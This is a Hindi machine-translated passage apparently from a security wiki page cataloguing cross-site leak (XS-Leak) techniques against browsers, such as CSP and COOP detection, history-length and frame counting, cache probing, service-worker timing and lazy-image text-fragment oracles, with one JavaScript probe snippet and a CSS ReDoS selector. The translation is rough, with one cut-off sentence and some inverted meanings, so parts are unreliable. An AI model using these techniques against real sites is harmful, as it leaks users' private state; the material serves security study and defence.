यदि एक पृष्ठ केवल तब तक एक छवि लोड करता है जब उपयोगकर्ता लॉग इन होता है, तो आप संसाधित कर सकते हैं संसाधन (ताकि यदि था तो अब नहीं कैश हो), एक अनुरोध का प्रदर्शन करें जो उस संसाधन को लोड कर सकता है और संसाधन को एक बुरा अनुरोध के साथ लोड करने की कोशिश करें (जैसे कि एक लंबा referer हेडर का उपयोग करके)। यदि संसाधन का लोड किसी भी त्रुटि को ट्रिगर नहीं करता है, तो यह इसलिए है क्योंकि यह कैश है।

CSP निर्देशिका

  • समावेशन विधियाँ: फ्रेम

  • पता लगाने में अंतर: हेडर

  • अधिक जानकारी: https://bugs.chromium.org/p/chromium/issues/detail?id=1105875

  • सारांश: CSP हेडर निर्देशिकाएँ CSP आइफ्रेम विशेषता का उपयोग करके परीक्षित की जा सकती हैं, नीति विवरणों को प्रकट करती हैं।

  • कोड उदाहरण: https://xsinator.com/testing.html#CSP%20Directive%20Leak

Google Chrome (GC) में एक नवीनतम सुविधा वेब पृष्ठों को एक सामग्री सुरक्षा नीति (CSP) प्रस्तावित करने की अनुमति देती है एक आइफ्रेम तत्व पर एक विशेषता सेट करके, जिसमें नीति निर्देशिकाएँ HTTP अनुरोध के साथ प्रसारित की जाती हैं। सामान्यत: संबंधित सामग्री को एक HTTP हेडर के माध्यम से इसे अधिकृत करना होगा, या एक त्रुटि पृष्ठ प्रदर्शित किया जाएगा। हालांकि, यदि आइफ्रेम पहले से ही एक CSP द्वारा नियंत्रित है और नई प्रस्तावित नीति अधिक संकोचक नहीं है, तो पृष्ठ सामान्यत: से लोड होगा। यह तंत्र एक हमलावाद के लिए एक मार्ग खोलता है ताकि एक आक्रमणकर्ता एक पृष्ठ की निश्चित CSP निर्देशिकाएँ का पता लगा सके त्रुटि पृष्ठ की पहचान करके। हालांकि यह विकल्पितता को ठीक करने के रूप में चिह्नित किया गया था, हमारे अनुसंधान साबित करते हैं एक नया लीक तकनीक जो त्रुटि पृष्ठ की पहचान करने में सक्षम है, जिससे सुझाया गया था कि मौलिक समस्या को कभी पूरी तरह से संबोधित नहीं किया गया था।

CORP

  • समावेशन विधियाँ: फेच एपीआई

  • पता लगाने में अंतर: हेडर

  • अधिक जानकारी: https://xsleaks.dev/docs/attacks/browser-features/corp/

  • सारांश: Cross-Origin Resource Policy (CORP) से सुरक्षित संसाधित संसाधन एक त्रुटि फेंकेगा जब उसे अनुमति नहीं होगी।

  • कोड उदाहरण: https://xsinator.com/testing.html#CORP%20Leak

CORP हेडर एक नई वेब प्लेटफ़ॉर्म सुरक्षा सुविधा है जब सेट होती है तो वह निर्दिष्ट संसाधन के लिए कोई-कोर्स क्रॉस-संसाधन अनुरोधों को ब्लॉक करती है। हेडर की मौजूदगी पता लगाई जा सकती है, क्योंकि CORP से सुरक्षित संसाधित संसाधन जब फेच किया जाता है तो एक त्रुटि फेंकेगा।

CORB

हमले के बारे में अधिक जानकारी के लिए लिंक की जाँच करें।

मौलिक भूल पर CORS त्रुटि

यदि मूल हेडर हेडर Access-Control-Allow-Origin में प्रतिबिम्बित हो रहा है तो एक हमलावर इस व्यवहार का दुरुपयोग कर सकता है ताकि CORS मोड में संसाधन को प्राप्त करने की कोशिश कर सके। यदि कोई त्रुटि नहीं उत्पन्न होती है, तो इसका मतलब है कि यह वेब से सही ढंग से प्राप्त हुआ था, यदि कोई त्रुटि उत्पन्न होती है, तो यह इसलिए है कि यह कैश से एक्सेस हुआ था (त्रुटि इसलिए उत्पन्न होती है क्योंकि कैश एक प्रतिक्रिया को सहेजता है जिसमें एक CORS हेडर होता है जो मूल डोमेन को अनुमति देता है और हमलावर के डोमेन को नहीं). ध्यान दें कि यदि मूल नहीं प्रतिबिंबित होता है लेकिन वाइल्डकार्ड का उपयोग किया जाता है (Access-Control-Allow-Origin: *) तो यह काम नहीं करेगा।

Readable Attributes Technique

Fetch Redirect

Fetch API का उपयोग करके अनुरोध सबमिट करने के साथ redirect: "manual" और अन्य पैरामीटर्स का उपयोग करके, response.type विशेषता को पढ़ना संभव है और यदि यह opaqueredirect के बराबर है तो प्रतिक्रिया एक रीडायरेक्ट थी।

COOP

एक हमलावर को क्रॉस-ओरिजिन ओपनर नीति (COOP) हेडर की मौजूदगी का पता लगाने में सक्षम होता है जो क्रॉस-ओरिजिन HTTP प्रतिक्रिया में होता है। COOP वेब एप्लिकेशन द्वारा उपयोग किया जाता है ताकि बाह्य साइटें विचित्र विंडो संदर्भ प्राप्त न कर सकें। इस हेडर की दृश्यता contentWindow संदर्भ तक पहुंचने के द्वारा निर्धारित की जा सकती है। जब COOP शर्तानुसार लागू होता है, तो opener गुणक एक पहचानकर इंडिकेटर बन जाता है: यह निर्धारित होता है जब COOP सक्रिय होता है, और परिभाषित होता है जब यह अनुपस्थित होता है।

URL माक्स लंबाई - सर्वर साइड

  • समावेश विधियाँ: फेच एपीआई, एचटीएमएल तत्व

  • पता लगाने योग्य अंतर: स्थिति कोड / सामग्री

  • अधिक जानकारी: https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects

  • सारांश: पुनर्निर्देशन प्रतिक्रियाओं में अंतरों का पता लगाएं क्योंकि प्रतिक्रिया लंबाई अधिक हो सकती है जिससे सर्वर एक त्रुटि के साथ प्रतिक्रिया दोहराए और एक चेतावनी उत्पन्न हो।

  • कोड उदाहरण: https://xsinator.com/testing.html#URL%20Max%20Length%20Leak

यदि सर्वर-साइड पुनर्निर्देशन में प्रयोक्ता इनपुट का उपयोग और अतिरिक्त डेटा का उपयोग होता है। तो इस व्यवहार का पता लगाना संभव है क्योंकि आम तौर पर सर्वरों के पास सीमा अनुरोध लंबाई होती है। यदि प्रयोक्ता डेटा उस लंबाई - 1 है, क्योंकि पुनर्निर्देशन उस डेटा का उपयोग कर रहा है और कुछ अतिरिक्त जोड़ रहा है, तो यह एक त्रुटि जिसे त्रुटि घटनाएं के माध्यम से पता लगाया जा सकता है को ट्रिगर करेगा।

यदि आप किसी प्रयोक्ता को कुकी सेट कर सकते हैं, तो आप इस हमला को भी कर सकते हैं पर्याप्त कुकी सेट करके (कुकी बम) ताकि सही प्रतिक्रिया का उत्तर बढ़ जाए तो एक त्रुटि ट्रिगर हो। इस मामले में, ध्यान दें कि यदि आप इस अनुरोध को एक ही साइट से ट्रिगर करते हैं, <script> स्वचालित रूप से कुकीज़ भेजेगा (ताकि आप त्रुटियों के लिए जांच कर सकें)। एक उदाहरण का कुकी बम + XS-Search इस लेख के इंटेंडेड समाधान में पाया जा सकता है: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

SameSite=None या एक ही संदर्भ में होना आम तौर पर इस प्रकार के हमले के लिए आवश्यक होता है।

URL माक्स लंबाई - क्लाइंट साइड

Chromium documentation के अनुसार, Chrome की अधिकतम URL लंबाई 2MB है।

सामान्य रूप से, वेब प्लेटफ़ॉर्म के पास URL की लंबाई पर कोई सीमा नहीं है (हालांकि 2^31 एक सामान्य सीमा है)। Chrome अभियांत्रिकी के कारण और अंतर-प्रक्रिया संचार में डेनियल-ऑफ-सर्विस समस्याओं को रोकने के लिए URL की अधिकतम लंबाई को 2MB तक सीमित करता है।

इसलिए यदि पुनर्निर्देशन URL किसी मामले में अधिक है, तो इसे 2MB से अधिक लंबा URL द्वारा पुनर्निर्देशित करना संभव है ताकि लंबाई सीमा को पहुंचा जा सके। जब यह होता है, Chrome एक about:blank#blocked पृष्ठ दिखाता है।

पता लगाने योग्य अंतर यह है कि यदि पुनर्निर्देशन पूरा हो गया था, तो window.origin एक त्रुटि फेंकता है क्योंकि एक क्रॉस ओरिजिन उस जानकारी तक पहुंच नहीं सकता। हालांकि, यदि सीमा थी और लोड किया गया पृष्ठ about:blank#blocked था, तो विंडो का origin वही रहता है जो माता-पिता का है, जो एक पहुंचने योग्य जानकारी है।

सभी अतिरिक्त जानकारी जो 2MB तक पहुंचने के लिए आवश्यक है, उसे प्रारंभिक URL में एक हैश के माध्यम से जोड़ा जा सकता है ताकि यह पुनर्निर्देशित में उपयोग किया जा सके।

pageURL Max Length - Client Side

अधिकतम पुनर्निर्देश

यदि ब्राउज़र की अधिकतम पुनर्निर्देश की संख्या 20 है, तो एक हमलाविश अपने पृष्ठ को 19 पुनर्निर्देशों के साथ लोड करने का प्रयास कर सकता है और अंत में पीड़ित को परीक्षण किए गए पृष्ठ पर भेज सकता है। यदि कोई त्रुटि उत्पन्न होती है, तो पृष्ठ पीड़ित को पुनर्निर्देशित करने की कोशिश कर रहा था।

इतिहास लंबाई

  • समावेशन विधियाँ: फ्रेम्स, पॉप-अप्स

  • पता लगाने का अंतर: पुनर्निर्देशन

  • अधिक जानकारी: https://xsleaks.dev/docs/attacks/navigations/

  • सारांश: जावास्क्रिप्ट कोड ब्राउज़र इतिहास को संशोधित कर सकता है और लंबाई संपत्ति द्वारा पहुंचा जा सकता है।

  • कोड उदाहरण: https://xsinator.com/testing.html#History%20Length%20Leak

इतिहास एपीआई जावास्क्रिप्ट कोड को ब्राउज़र इतिहास को संशोधित करने की अनुमति देता है, जिसमें एक उपयोगकर्ता द्वारा देखे गए पृष्ठ सहेजे जाते हैं। एक हमलाविश लंबाई संपत्ति का उपयोग कर सकता है जैसे: जावास्क्रिप्ट और एचटीएमएल नेविगेशन का पता लगाने के लिए। history.length की जांच करना, एक उपयोगकर्ता को एक पृष्ठ पर नेविगेट करने के लिए, इसे वापस बदल करना वही-मूल और नए मूल्य की जांच करना history.length की।

समान URL के साथ इतिहास लंबाई

  • समावेशन विधियाँ: फ्रेम्स, पॉप-अप्स

  • पता लगाने का अंतर: यदि URL अनुमानित वाले से समान है

  • सारांश: एक अटैकर जावास्क्रिप्ट कोड का उपयोग करके फ्रेम/पॉप-अप स्थान को एक अनुमानित स्थान पर संशोधित कर सकता है और तुरंत इसे about:blank में बदल सकता है। यदि इतिहास लंबाई बढ़ गई है तो इसका अर्थ है कि URL सही था और इसे बढ़ाने का समय था क्योंकि URL पुनः लोड नहीं होता अगर यह समान है। यदि यह बढ़ा नहीं है तो इसका अर्थ है कि यहने अनुमानित URL लोड करने की कोशिश की थी लेकिन क्योंकि हमने तुरंत बाद में about:blank लोड किया, इसलिए इतिहास लंबाई कभी नहीं बढ़ी जब अनुमानित URL लोड हो रहा था।

async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

Frame Counting

  • समावेश विधियाँ: फ्रेम, पॉप-अप

  • पता लगाने का अंतर: पृष्ठ सामग्री

  • अधिक जानकारी: https://xsleaks.dev/docs/attacks/frame-counting/

  • सारांश: window.length गुण की जांच करके आईफ्रेम तत्वों की मात्रा का मूल्यांकन करें।

  • कोड उदाहरण: https://xsinator.com/testing.html#Frame%20Count%20Leak

वेब में आईफ्रेम की संख्या की गणना (iframe या window.open के माध्यम से खोली गई) पृष्ठ पर उपयोगकर्ता की स्थिति की पहचान में मदद कर सकती है। इसके अतिरिक्त, यदि पृष्ठ में हमेशा एक ही संख्या की आईफ्रेम है, तो आईफ्रेमों की संख्या की निरंतर जांच करने से किसी पैटर्न की पहचान करने में मदद मिल सकती है जो सूचना लीक कर सकता है।

इस तकनीक का एक उदाहरण यह है कि क्रोम में, एक PDF को फ्रेम गणना के साथ पहचाना जा सकता है क्योंकि इसमें आंतरिक रूप से embed का उपयोग होता है। इसमें कुछ ओपन URL पैरामीटर हैं जो ज़ूम, दृश्य, पृष्ठ, टूलबार जैसी सामग्री पर कुछ नियंत्रण प्रदान करते हैं जिससे यह तकनीक दिलचस्प हो सकती है।

HTMLElements

HTML तत्वों के माध्यम से सूचना लीक वेब सुरक्षा में एक चिंता है, विशेष रूप से जब डायनामिक मीडिया फ़ाइलें उपयोगकर्ता सूचना पर आधारित उत्पन्न की जाती हैं, या जब वॉटरमार्क जोड़े जाते हैं, मीडिया का आकार बदल दिया जाता है। इसे हमलावरों द्वारा उपयोगकर्ता स्थिति के आधार पर विशिष्ट HTML तत्वों द्वारा उजागर की गई जानकारी का विश्लेषण करके भिन्न स्थितियों के बीच भिन्नता करने के लिए दुरुपयोग किया जा सकता है।

HTML तत्वों द्वारा उजागर की गई जानकारी

  • HTMLMediaElement: यह तत्व मीडिया का duration और buffered समय प्रकट करता है, जिसे इसके API के माध्यम से पहुंचा जा सकता है। HTMLMediaElement के बारे में अधिक पढ़ें

  • HTMLVideoElement: यह videoHeight और videoWidth को प्रकट करता है। कुछ ब्राउज़रों में, webkitVideoDecodedByteCount, webkitAudioDecodedByteCount, और webkitDecodedFrameCount जैसी अतिरिक्त गुण उपलब्ध हैं, जो मीडिया सामग्री के बारे में अधिक विस्तृत जानकारी प्रदान करते हैं। HTMLVideoElement के बारे में अधिक पढ़ें

  • getVideoPlaybackQuality(): यह फ़ंक्शन वीडियो प्लेबैक गुणवत्ता के बारे में विवरण प्रदान करता है, जिसमें totalVideoFrames शामिल है, जो प्रसंस्कृत वीडियो डेटा प्रसंस्कृत की मात्रा को सूचित कर सकता है। getVideoPlaybackQuality() के बारे में अधिक पढ़ें

  • HTMLImageElement: यह तत्व एक छवि की height और width को लीक करता है। हालांकि, यदि एक छवि अमान्य है, तो ये गुण 0 लौटाएंगे, और image.decode() फ़ंक्शन को अस्वीकार किया जाएगा, जिससे छवि को सही ढंग से लोड करने में विफलता का संकेत देगा। HTMLImageElement के बारे में अधिक पढ़ें

CSS गुण

वेब एप्लिकेशन उपयोगकर्ता की स्थिति के आधार पर वेबसाइट स्टाइलिंग बदल सकती है। क्रॉस-ऑरिजिन CSS फ़ाइलें HTML लिंक तत्व के साथ हमलावर पृष्ठ पर सम्मिलित की जा सकती हैं, और नियमों को हमलावर पृष्ठ पर लागू किया जाएगा। यदि कोई पृष्ठ इन नियमों को डायनामिक रूप से बदलता है, तो हमलावर उपयोगकर्ता स्थिति के आधार पर इन भिन्नताओं को पता लगा सकता है। एक लीक तकनीक के रूप में, हमलावर window.getComputedStyle विधि का उपयोग करके किसी विशिष्ट HTML तत्व के CSS गुणों को पढ़ सकता है। इस परिणामस्वरूप, एक हमलावर यदि प्रभावित तत्व और गुण का नाम जाना जाता है तो विचारात्मक CSS गुण पढ़ सकता है।

CSS इतिहास

इस के अनुसार, यह headless Chrome में काम नहीं कर रहा है।

CSS :visited चयनकर्ता का उपयोग उन URLs को विभिन्न ढंग से सजाने के लिए किया जाता है जो पहले से ही उपयोगकर्ता द्वारा देखे गए हैं। पहले, getComputedStyle() विधि का उपयोग इन स्टाइल भिन्नताओं को पहचानने के लिए किया जा सकता था। हालांकि, आधुनिक ब्राउज़र इस विधि को उपयोगकर्ता के लिंक की स्थिति को प्रकट करने से रोकने के सुरक्षा उपाय लेकर आए हैं। इन उपायों में हमेशा लिंक को यदि वह देखा गया हो तो हमेशा कंप्यूटेड स्टाइल को लौटाना और :visited चयनकर्ता के साथ लागू किए जा सकने वाले शैलियों को प्रतिबंधित करन

ContentDocument X-Frame लीक

  • समावेश विधियाँ: फ्रेम्स

  • पता लगाने योग्य अंतर: हेडर्स

  • अधिक जानकारी: https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf

  • सारांश: Google Chrome में, एक विशेष त्रुटि पृष्ठ प्रदर्शित किया जाता है जब X-Frame-Options प्रतिबंधों के कारण किसी पृष्ठ को पार-स्थिति साइट पर समाहित करने से रोक दिया जाता है।

  • कोड उदाहरण: https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak

डाउनलोड डिटेक्शन

  • समावेशन विधियाँ: फ्रेम, पॉप-अप

  • संकेतनीय अंतर: हेडर्स

  • अधिक जानकारी: https://xsleaks.dev/docs/attacks/navigations/#download-trigger

  • सारांश: एक हमलावादी आईफ्रेम का उपयोग करके फ़ाइल डाउनलोड को पहचान सकता है; आईफ्रेम की जारी रहने की संभावना सफल फ़ाइल डाउनलोड का सूचित करती है।

  • कोड उदाहरण: https://xsleaks.dev/docs/attacks/navigations/#download-bar

`Content-Disposition` हेडर, विशेष रूप से `Content-Disposition: attachment`, ब्राउज़र को सामग्री को डाउनलोड करने की बजाय इनलाइन प्रदर्शित करने के लिए निर्देशित करता है। यह व्यवहार उपयोगकर्ता के पास एक पृष्ठ तक पहुंचने की जांच करने के लिए उपयोग किया जा सकता है जो एक फ़ाइल डाउनलोड को ट्रिगर करता है। Chromium-आधारित ब्राउज़र में, इस डाउनलोड व्यवहार को जांचने के लिए कुछ तकनीक हैं:

1. **डाउनलोड बार मॉनिटरिंग**:
* जब कोई फ़ाइल Chromium-आधारित ब्राउज़र में डाउनलोड होती है, तो ब्राउज़र विंडो के नीचे एक डाउनलोड बार प्रकट होता है।
* विंडो ऊँचाई में परिवर्तनों का मॉनिटरिंग करके हमलावर डाउनलोड बार के प्रकट होने का अंदाजा लगा सकते हैं, जिससे प्रस्तुति होती है कि एक डाउनलोड प्रारंभ हो गया है।
2. **आइफ्रेम के साथ डाउनलोड नेविगेशन**:
* जब एक पृष्ठ `Content-Disposition: attachment` हेडर का उपयोग करके एक फ़ाइल डाउनलोड को ट्रिगर करता है, तो यह किसी नेविगेशन घटना का कारण नहीं बनाता।
* आइफ्रेम में सामग्री लोड करके और नेविगेशन घटनाओं का मॉनिटरिंग करके, संभावना है कि सामग्री विन्यास एक फ़ाइल डाउनलोड को ट्रिगर करता है (कोई नेविगेशन नहीं) या नहीं।
3. **आइफ्रेम के बिना डाउनलोड नेविगेशन**:
* आइफ्रेम तकनीक के समान, इस विधि में `window.open` का उपयोग करना शामिल है आइफ्रेम के बजाय।
* नए खुले विंडो में नेविगेशन घटनाओं का मॉनिटरिंग करके यह पता लगा सकता है कि क्या एक फ़ाइल डाउनलोड को ट्रिगर किया गया था (कोई नेविगेशन) या यदि सामग्री इनलाइन प्रदर्शित की गई है (नेविगेशन होता है)।

उन स्थितियों में जहाँ केवल लॉग-इन उपयोगकर्ताएं ऐसी डाउनलोड को ट्रिगर कर सकती हैं, इन तकनीकों का उपयोग ब्राउज़र के प्रतिक्रिया के आधार पर उपयोगकर्ता की प्रमाणीकरण स्थिति का अंतर्निहित अंदाजा लगाने के लिए किया जा सकता है।

### विभाजित HTTP कैश बाइपास <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>

यह तकनीक क्यों दिलचस्प है: Chrome अब कैश पार्टीशनिंग रखता है, और नए खुले पृष्ठ की कैश कुंजी है: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), लेकिन अगर मैं एक ngrok पृष्ठ खोलता हूं और उसमें fetch का उपयोग करता हूं, तो कैश कुंजी होगी: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), कैश कुंजी अलग है, इसलिए कैश साझा नहीं किया जा सकता। आप यहाँ अधिक विवरण पा सकते हैं: कैश को विभाजित करके सुरक्षा और गोपनीयता प्राप्त करना (टिप्पणी से यहाँ)

यदि साइट example.com *.example.com/resource से संसाधित संसाधन शामिल करती है तो उस संसाधन की वही कैशिंग कुंजी होगी जैसे अगर संसाधन को सीधे शीर्ष-स्तरीय नेविगेशन के माध्यम से सीधे अनुरोधित किया गया था। इसलिए कैशिंग कुंजी शीर्ष-स्तरीय eTLD+1 और फ्रेम eTLD+1 से बनी होती है।

क्योंकि कैश तक पहुंचना संसाधन लोड करने से तेज है, इसे पृष्ठ की स्थानांतरण को बदलने का प्रयास करना और इसे 20 मिलीसेकंड (उदाहरण के लिए) बाद रद्द करने का संभावना है। यदि रोकने के बाद मूल बदल गया है, तो इसका अर्थ है कि संसाधित संसाधन था। या बस कुछ fetch भेजें जिसे संसाधित पृष्ठ पर भेजा गया था और यह मापें कि यह कितना समय लेता है।

मैनुअल पुनर्निर्देशित

एबॉर्टकंट्रोलर के साथ फेच

  • समावेश विधियाँ: Fetch API

  • पता लगाने योग्य अंतर: समय

  • अधिक जानकारी: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller

  • सारांश: यह संभव है कि एक संसाधित संसाधन को लोड करने की कोशिश की जाए और जब यह लोड होने से पहले रोका जाए। यदि कोई त्रुटि ट्रिगर होती है, तो संसाधन संसाधित था या नहीं।

  • कोड उदाहरण: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller

एक AbortController के साथ fetch और setTimeout का उपयोग करें ताकि आप यह जांच सकें कि संसाधित संसाधन है और ब्राउज़र कैश से एक विशिष्ट संसाधन को निकालें। इसके अलावा, प्रक्रिया नए सामग्री को कैशिंग किए बिना होती है।

स्क्रिप्ट पोल्यूशन

  • समावेश विधियाँ: HTML तत्व (स्क्रिप्ट)

  • पता लगाने में अंतर: पृष्ठ सामग्री

  • अधिक जानकारी: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag

  • सारांश: बिल्ट-इन फ़ंक्शन को ओवरराइट करना संभव है और उनके तर्क पढ़ना भी क्रॉस-ऑरिजिन स्क्रिप्ट से (जिन्हें सीधे नहीं पढ़ा जा सकता), यह मूल्यवान जानकारी लीक कर सकता है।

  • कोड उदाहरण: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag

सेवा कर्मचारी

  • समावेश विधियाँ: पॉप-अप

  • पता लगाने में अंतर: पृष्ठ सामग्री

  • अधिक जानकारी: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers

  • सारांश: सेवा कर्मचारियों का उपयोग करके एक वेब का क्रियान्वयन समय मापें।

  • कोड उदाहरण:

दिए गए परिदृश्य में, हमलावता व्यक्ति अपने डोमेन में से एक "attacker.com" में एक सेवा कर्मचारी को पंजीकृत करने के लिए पहल करता है। अगले, हमलावता व्यक्ति लक्ष्य वेबसाइट में मुख्य दस्तावेज़ से एक नए विंडो खोलता है और सेवा कर्मचारी को एक टाइमर आरंभ करने के लिए निर्देशित करता है। जैसे ही नई विंडो लोड होने लगती है, हमलावता व्यक्ति पिछले कदम में प्राप्त संदर्भ को सेवा कर्मचारी द्वारा प्रबंधित पृष्ठ पर नेविगेट करता है।

पिछले कदम में प्रारंभ किए गए टाइमर से एक मापन को जब अनुरोध पहुंचता है, तो सेवा कर्मचारी एक 204 (कोई सामग्री नहीं) स्थिति कोड के साथ प्रतिक्रिया करता है, जिससे नेविगेशन प्रक्रिया समाप्त हो जाती है। इस समय, सेवा कर्मचारी नेविगेशन प्रक्रिया में देरी करने वाले जावास्क्रिप्ट के अवधि से प्रभावित एक मापन को पकड़ता है।

एक क्रियान्वयन समय में नेटवर्क कारकों को हटाना संभव है ताकि अधिक सटीक मापन प्राप्त किया जा सके। उदाहरण के लिए, पृष्ठ द्वारा उपयोग की जाने वाली संसाधनों को पृष्ठ लोड करने से पहले लोड करके।

फेच टाइमिंग

क्रॉस-विंडो टाइमिंग

Trickest का उपयोग करें और आसानी से ऑटोमेट वर्कफ़्लो बनाएं जो दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित हैं। आज ही पहुंच प्राप्त करें:

HTML या Re Injection के साथ

यहाँ आपको एक क्रॉस-ऑरिजिन HTML से जानकारी निकालने की तकनीकें मिलेंगी HTML सामग्री इंजेक्शन। ये तकनीकें उन मामलों में रुचिकर हैं जहाँ किसी भी कारण से आप HTML इंजेक्ट कर सकते हैं लेकिन आप JS कोड इंजेक्ट नहीं कर सकते।

डैंगलिंग मार्कअप

pageDangling Markup - HTML scriptless injection

इमेज लेजी लोडिंग

यदि आपको सामग्री निकालनी है और आप गुप्त से पहले HTML जोड़ सकते हैं तो आपको सामान्य डैंगलिंग मार्कअप तकनीकें की जांच करनी चाहिए। हालांकि, यदि किसी कारणवश आपको इसे अक्षर द्वारा अवश्यं करना है (शायद संचार कैश हिट के माध्यम से हो) तो आप इस ट्रिक का उपयोग कर सकते हैं।

HTML में इमेज के पास एक "लोडिंग" विशेषता होती है जिसका मान "लेजी" हो सकता है। उस मामले में, छवि जब देखी जाएगी तब ही लोड होगी और पृष्ठ लोड होते समय नहीं:

<img src=/something loading=lazy >

इसलिए, आप जो कुछ कर सकते हैं वह है बहुत सारे जंक वर्ण जोड़ना (उदाहरण के लिए हजारों "W") गुप्त जानकारी से पहले वेब पृष्ठ भरने के लिए या कुछ ऐसा जोड़ना <br><canvas height="1850px"></canvas><br>. फिर यदि उदाहरण के लिए हमारा इंजेक्शन झंझट के पहले दिखाई दे, तो छवि लोड हो जाएगी, लेकिन यदि फ्लैग के बाद दिखाई देता है, तो फ्लैग + जंक इसे लोड होने से रोकेगा (आपको रखने के लिए कितना जंक रखना है इसके साथ खेलने की आवश्यकता होगी)। यह हुआ था इस राइटअप में।

एक और विकल्प हो सकता है scroll-to-text-fragment का उपयोग करना अगर अनुमति है:

Scroll-to-text-fragment

हालांकि, आप बॉट को पृष्ठ तक पहुंचने दें कुछ इस प्रकार से

#:~:text=SECR

इसलिए वेब पेज कुछ इस प्रकार होगा: https://victim.com/post.html#:~:text=SECR

जहां post.html में हमलावर जंक वर्ण और लेजी लोड इमेज शामिल हैं और फिर बॉट का रहस्य जोड़ा जाता है।

यह पाठ यह करेगा कि बॉट को पृष्ठ में किसी भी पाठ तक पहुंचने देगा जो पाठ SECR को समाहित करता है। क्योंकि वह पाठ रहस्य है और यह छवि के नीचे है, छवि केवल यदि अनुमानित रहस्य सही है तो लोड होगी। इसलिए आपके पास रहस्य को एक एक अक्षर के रूप में बाहर निकालने के लिए आपका ओरेकल है।

इसे उत्पीड़ित करने के लिए कुछ कोड उदाहरण: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

छवि लेजी लोडिंग समय आधारित

यदि एक बाह्य छवि लोड करना संभव नहीं है जो हमलावर को सूचित कर सकता है कि छवि लोड की गई थी, तो एक और विकल्प यह हो सकता है कि कई बार अक्षर का अनुमान लगाने का प्रयास करें और उसे मापें। यदि छवि लोड होती है तो सभी अनुरोध अधिक समय लेंगे जबकि छवि लोड नहीं होती है तो यह समय कम लेगा। यह वही है जिसका उपयोग इस राइटअप के समाधान में किया गया था यहाँ संक्षेपित किया गया है:

pageEvent Loop Blocking + Lazy images

ReDoS

pageRegular expression Denial of Service - ReDoS

CSS ReDoS

यदि jQuery(location.hash) का उपयोग किया जाता है, तो संभावित है कि समय के माध्यम से पता लगाया जा सकता है कि क्या कुछ HTML सामग्री मौजूद है, यह इसलिए है क्योंकि यदि चयनकर्ता main[id='site-main'] मेल नहीं खाता है तो इसे बाकी चयनकर्ताओं की जांच की आवश्यकता नहीं होती:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

CSS Injection

pageCSS Injection

रक्षा

https://xsinator.com/paper.pdf में सुनिश्चित किए गए सुरक्षा उपाय हैं और प्रत्येक खंड में विकि https://xsleaks.dev/ में भी सिफारिश की गई है। इन तकनीकों के खिलाफ सुरक्षित रहने के बारे में अधिक जानकारी के लिए वहाँ देखें।

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Trickest का उपयोग करें और दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित औटोमेटेड वर्कफ़्लो आसानी से बनाएं। आज ही पहुंचें:

PreviousXSSI (Cross-Site Script Inclusion)NextConnection Pool Examples

Last updated